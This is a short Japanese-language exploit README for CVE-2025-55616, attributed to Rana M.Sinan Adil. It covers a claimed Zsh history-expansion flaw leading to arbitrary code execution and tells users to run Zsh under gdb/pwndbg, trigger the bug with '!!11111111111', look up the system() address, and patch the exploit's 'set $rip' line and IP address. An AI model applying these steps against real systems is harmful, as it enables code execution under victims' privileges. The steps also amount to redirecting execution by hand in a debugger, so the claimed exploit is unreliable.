CVE-2025-55616

作成者: Rana M.Sinan Adil

• Zsh のヒストリ式を通じて RCE につながる脆弱性

重要ポイント

このエクスプロイトを実行するには: エクスプロイト内の IP アドレスと「p system」だけを変更してください。私も自分の2台目のラップトップで試しましたが、変更するには gdb（特に pwndbg）で次のコマンドを実行してください:

$ gdb zsh -f (ターミナルで)

pwndbg> run -f

username% ! (username はあなたのものになります。! とだけ入力してください)

username% !!11111111111 (ここも同じで !!11111111111 とだけ入力してください)

pwndbg> p system

「p system」のアドレスを取得したら、エクスプロイト内の

次の行でそれを変更してください:

b'set $rip =  0x7ffff7cc9110', (0x7ffff7cc9110 の代わりにあなたの p system アドレスを使用してください)

説明

この脆弱性により、ローカルの攻撃者は Zsh プロセスを実行しているユーザーの権限で任意コード実行（RCE）を達成できます。